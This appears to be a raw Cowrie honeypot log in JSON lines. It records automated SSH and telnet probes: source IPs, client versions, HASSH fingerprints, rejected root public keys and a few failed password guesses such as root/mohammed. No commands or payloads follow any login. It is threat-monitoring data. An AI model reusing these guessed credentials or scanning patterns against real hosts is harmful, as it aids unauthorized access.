{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:15.880971Z","src_ip":"96.127.175.154","session":"ce46808480c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:f5:42:70:e1:8a:2e:67:bc:a4:46:99:ed:a0:5e:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQE43ZgQEMi8HBTQn+9TiLF+WRgwakWfNovYTb1q04gVndoz+UbXLtmPtQLto4fDgZ5XPNDlR9waW2oE5K087z8eJIRFCGMAdGXcojHi2SkR5oNRw4PANavkOIXqhHp9pJOjfgsI9LaU2LTIgEvcaQbJkhvAQ4OV/OHFwZAUTTTRVz9RDX3GDgE/4BVeOr9hBbqe4i3bBpVJqoqFm7od9D1BEqdp2Sk+qRWeYhBiW4VuZC0H08k2wOJxo4kUOm+G+Qrmzeh2M4fe2wjtSRNEhsXUBwxJ/8w5Q2SnkKD4N2nvsXpEZdpiduWJkriQlKNe3fMsNA0YtBPdXD13I4+mb8ipJ7W+Ny8NPuBUtyckTV1AnXk3Sex5sAqUAGpm/74iZPe/OhOGA5KoKjM3loWKH/GtmPqjmG9UV0hQIl4dXFgUPsYvOQS+mtO1XG2iulyp0Y/pcJTJCIHVGbVz9FDHtP8d26u1uf1ZYU0yyJrlE0pC1+KOsvRklLGMClyUKDvRU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:f5:42:70:e1:8a:2e:67:bc:a4:46:99:ed:a0:5e:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:16.007283Z","src_ip":"96.127.175.154","session":"ce46808480c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:f5:42:70:e1:8a:2e:67:bc:a4:46:99:ed:a0:5e:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQE43ZgQEMi8HBTQn+9TiLF+WRgwakWfNovYTb1q04gVndoz+UbXLtmPtQLto4fDgZ5XPNDlR9waW2oE5K087z8eJIRFCGMAdGXcojHi2SkR5oNRw4PANavkOIXqhHp9pJOjfgsI9LaU2LTIgEvcaQbJkhvAQ4OV/OHFwZAUTTTRVz9RDX3GDgE/4BVeOr9hBbqe4i3bBpVJqoqFm7od9D1BEqdp2Sk+qRWeYhBiW4VuZC0H08k2wOJxo4kUOm+G+Qrmzeh2M4fe2wjtSRNEhsXUBwxJ/8w5Q2SnkKD4N2nvsXpEZdpiduWJkriQlKNe3fMsNA0YtBPdXD13I4+mb8ipJ7W+Ny8NPuBUtyckTV1AnXk3Sex5sAqUAGpm/74iZPe/OhOGA5KoKjM3loWKH/GtmPqjmG9UV0hQIl4dXFgUPsYvOQS+mtO1XG2iulyp0Y/pcJTJCIHVGbVz9FDHtP8d26u1uf1ZYU0yyJrlE0pC1+KOsvRklLGMClyUKDvRU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:16.014291Z","src_ip":"96.127.175.154","session":"ce46808480c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:1d:e6:05:37:5c:da:bd:4a:55:67:99:e4:8e:d5:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDB7xRraeOHRHw1aix/hHV5puGglnQjsF1MCYTdaop21O4oVTobTEia8rwJwCnccftUQ+fl72SXVcNkoGmmQXQqfehL0fKjHpCaN296NIYDjE3xhU+4MugUpvay3pPGpvKLXmrUur2fgk5uBSUnu3SnRW1nEEjdEFIT2Vo4KGNO7/cwvMacijtWSHZodRtsW6jXSWvFP5dSqsUdOnKOCMKYMhEL2deYUHFVFdP4rOSBx6LUaq5zEn6fRy/diYtKMoxlSZG4GD31rl4oJfODlF4ENUdp++VuMZU1fHiw8mXyjjWU0rRnY8MXOCKHXjQf1R0B9B6Hw1TnRPorvS2kSW/5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:1d:e6:05:37:5c:da:bd:4a:55:67:99:e4:8e:d5:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:16.050581Z","src_ip":"96.127.175.154","session":"ce46808480c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:1d:e6:05:37:5c:da:bd:4a:55:67:99:e4:8e:d5:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDB7xRraeOHRHw1aix/hHV5puGglnQjsF1MCYTdaop21O4oVTobTEia8rwJwCnccftUQ+fl72SXVcNkoGmmQXQqfehL0fKjHpCaN296NIYDjE3xhU+4MugUpvay3pPGpvKLXmrUur2fgk5uBSUnu3SnRW1nEEjdEFIT2Vo4KGNO7/cwvMacijtWSHZodRtsW6jXSWvFP5dSqsUdOnKOCMKYMhEL2deYUHFVFdP4rOSBx6LUaq5zEn6fRy/diYtKMoxlSZG4GD31rl4oJfODlF4ENUdp++VuMZU1fHiw8mXyjjWU0rRnY8MXOCKHXjQf1R0B9B6Hw1TnRPorvS2kSW/5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:16.055530Z","src_ip":"96.127.175.154","session":"ce46808480c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:78:d6:82:8a:0e:fe:b2:1d:f4:05:07:56:9a:81:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0XKvsWOeUe9esP2PRYBwVvYvJQz3z3TcjJq91UhqBnHlNq2x7zgbTEN+1hriBmrpvABiQ3hohPEkN/064ZA8j/BbzBkI7MwTcc1k6J3FRbyrcCZXTIRnQfGyc6uHO5hjDVLAzinkS7IjCoq9dNNZ/SAQhS+NjoqZWsrubv1q/jqHOJRvjIc9exf7EVzBi7C8vpFQJJsnLzeLMQOpBqOU+xfyHNC/7dLGGvIJXI2bJWnjpF+bKGrLcPEE8h8IjpEkTwEu2C6g+jUAdp8TvQnN0BjlHPQDWMpYr67rIsFhb1CbiFZD3CGaANnwuTI0g90GncgBB7+Sn2eoRbhGjWZOB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:78:d6:82:8a:0e:fe:b2:1d:f4:05:07:56:9a:81:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:16.092733Z","src_ip":"96.127.175.154","session":"ce46808480c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:78:d6:82:8a:0e:fe:b2:1d:f4:05:07:56:9a:81:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0XKvsWOeUe9esP2PRYBwVvYvJQz3z3TcjJq91UhqBnHlNq2x7zgbTEN+1hriBmrpvABiQ3hohPEkN/064ZA8j/BbzBkI7MwTcc1k6J3FRbyrcCZXTIRnQfGyc6uHO5hjDVLAzinkS7IjCoq9dNNZ/SAQhS+NjoqZWsrubv1q/jqHOJRvjIc9exf7EVzBi7C8vpFQJJsnLzeLMQOpBqOU+xfyHNC/7dLGGvIJXI2bJWnjpF+bKGrLcPEE8h8IjpEkTwEu2C6g+jUAdp8TvQnN0BjlHPQDWMpYr67rIsFhb1CbiFZD3CGaANnwuTI0g90GncgBB7+Sn2eoRbhGjWZOB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:16.097270Z","src_ip":"96.127.175.154","session":"ce46808480c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:db:a1:39:fb:ed:d9:d1:82:43:ef:28:a5:fc:59:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl1imZjfE8ZOcQZ5UFWJq9nE22wN/Gj8S6XaTGoE7ZBNtLaGlVoblrm9amA835dMu7e3DqKuiOl6pi8rI5Bb4F91gVmb10nJiq5aG5e6hPYHh4EhYRkLFxdt3Ftxs0CltujPEuZnyIxkf9f3ZPJ7qcDjer2Tt/LcFqrn1x9ufOKwA4aIXpROYhA3FUVFMtRTzT49XCreVrYh4tWwNn0oiZAjglMUp2EDZHgfhfo2Tsp/7/zaCK0IIVXXt43K2efhK+f4GNzIm8Oc5LKm9y1/DJkpGBB5NwAlFLo/VPK6hVtchjbQiB/fabRUSH8ftgaVeCHXxqXHQnUZkdhqDXIQgt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:db:a1:39:fb:ed:d9:d1:82:43:ef:28:a5:fc:59:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:16.130756Z","src_ip":"96.127.175.154","session":"ce46808480c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:db:a1:39:fb:ed:d9:d1:82:43:ef:28:a5:fc:59:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl1imZjfE8ZOcQZ5UFWJq9nE22wN/Gj8S6XaTGoE7ZBNtLaGlVoblrm9amA835dMu7e3DqKuiOl6pi8rI5Bb4F91gVmb10nJiq5aG5e6hPYHh4EhYRkLFxdt3Ftxs0CltujPEuZnyIxkf9f3ZPJ7qcDjer2Tt/LcFqrn1x9ufOKwA4aIXpROYhA3FUVFMtRTzT49XCreVrYh4tWwNn0oiZAjglMUp2EDZHgfhfo2Tsp/7/zaCK0IIVXXt43K2efhK+f4GNzIm8Oc5LKm9y1/DJkpGBB5NwAlFLo/VPK6hVtchjbQiB/fabRUSH8ftgaVeCHXxqXHQnUZkdhqDXIQgt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:16.136621Z","src_ip":"96.127.175.154","session":"ce46808480c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:0f:f1:65:87:d2:4d:78:ee:35:d3:98:05:30:30:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsE8AE98OM5m9ksnq05ANjc5ZxnanFowuS+vyRq0tn7LsXtFiRFteQpJW5M/rx2ahi4Sum1yLlQ+IxDcNRsjoRzi1kBtmGX00pGeBGVY7E2DedGICr4WImUI3AGcxMvALeFHwy9bXr8rZ5HEV8bZEeJTMDFqRWcj7tZicxcJu/1el6W3kj+wWzOx8I8zzYgjSZECiJXNy/Bd9jQr+f6RNqVsS38dhPlA34qd3u5bYXTUbM9LZyUwiPOorecITbqJB21MfOjrCst/TFtozkUTI5l5yjHjJUI9eR8jxw4f4b/SWFD1CjMupShxFmDYVeuK9KEtHiH/Gk7UMQp9NqXh1Z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:0f:f1:65:87:d2:4d:78:ee:35:d3:98:05:30:30:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:16.172362Z","src_ip":"96.127.175.154","session":"ce46808480c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:0f:f1:65:87:d2:4d:78:ee:35:d3:98:05:30:30:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsE8AE98OM5m9ksnq05ANjc5ZxnanFowuS+vyRq0tn7LsXtFiRFteQpJW5M/rx2ahi4Sum1yLlQ+IxDcNRsjoRzi1kBtmGX00pGeBGVY7E2DedGICr4WImUI3AGcxMvALeFHwy9bXr8rZ5HEV8bZEeJTMDFqRWcj7tZicxcJu/1el6W3kj+wWzOx8I8zzYgjSZECiJXNy/Bd9jQr+f6RNqVsS38dhPlA34qd3u5bYXTUbM9LZyUwiPOorecITbqJB21MfOjrCst/TFtozkUTI5l5yjHjJUI9eR8jxw4f4b/SWFD1CjMupShxFmDYVeuK9KEtHiH/Gk7UMQp9NqXh1Z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:16.181769Z","src_ip":"96.127.175.154","session":"ce46808480c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:16.214806Z","src_ip":"96.127.175.154","session":"ce46808480c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.678585052490234,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:22.625613Z","src_ip":"135.148.14.151","session":"a773d70ba585","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":54714,"dst_ip":"10.17.0.5","dst_port":22,"session":"329a7e759c72","protocol":"ssh","message":"New connection: 109.237.96.109:54714 (10.17.0.5:22) [session: 329a7e759c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:38.353720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:38.358603Z","src_ip":"109.237.96.109","session":"329a7e759c72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:38.454870Z","src_ip":"109.237.96.109","session":"329a7e759c72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mohammed","message":"login attempt [root/mohammed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:38.737099Z","src_ip":"109.237.96.109","session":"329a7e759c72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:39.836600Z","src_ip":"109.237.96.109","session":"329a7e759c72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.474862098693848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:42.740862Z","src_ip":"135.148.14.151","session":"beb87fb20af7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.186.40.161","src_port":41294,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0273a008f52","protocol":"ssh","message":"New connection: 201.186.40.161:41294 (10.17.0.5:22) [session: e0273a008f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:59.348799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:59.354072Z","src_ip":"201.186.40.161","session":"e0273a008f52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:59.509271Z","src_ip":"201.186.40.161","session":"e0273a008f52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"fjbdfdjkdsfs541544","message":"login attempt [admin/fjbdfdjkdsfs541544] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:39:00.167329Z","src_ip":"201.186.40.161","session":"e0273a008f52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:39:01.328476Z","src_ip":"201.186.40.161","session":"e0273a008f52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54250,"dst_ip":"159.203.135.109","dst_port":23,"session":"efc7c26564a0","protocol":"telnet","message":"New connection: 135.148.14.151:54250 (159.203.135.109:23) [session: efc7c26564a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:39:14.527447Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":32928,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ebd0617c506","protocol":"telnet","message":"New connection: 135.148.14.151:32928 (159.203.135.109:23) [session: 8ebd0617c506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:39:29.519193Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36278,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c81bed02c37","protocol":"telnet","message":"New connection: 135.148.14.151:36278 (159.203.135.109:23) [session: 6c81bed02c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:39:38.862042Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.247.111","src_port":56970,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6a9064730ab","protocol":"ssh","message":"New connection: 150.109.247.111:56970 (10.17.0.5:22) [session: c6a9064730ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:39:44.986364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:39:44.991542Z","src_ip":"150.109.247.111","session":"c6a9064730ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:39:45.192740Z","src_ip":"150.109.247.111","session":"c6a9064730ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mudar","message":"login attempt [root/mudar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:39:46.028430Z","src_ip":"150.109.247.111","session":"c6a9064730ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:39:47.231742Z","src_ip":"150.109.247.111","session":"c6a9064730ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.24996542930603,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:39:47.777317Z","src_ip":"135.148.14.151","session":"efc7c26564a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":52060,"dst_ip":"159.203.135.109","dst_port":22,"session":"03708af745e1","protocol":"ssh","message":"New connection: 80.66.85.226:52060 (159.203.135.109:22) [session: 03708af745e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:39:50.969288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:39:50.974417Z","src_ip":"80.66.85.226","session":"03708af745e1","protocol":"ssh"}
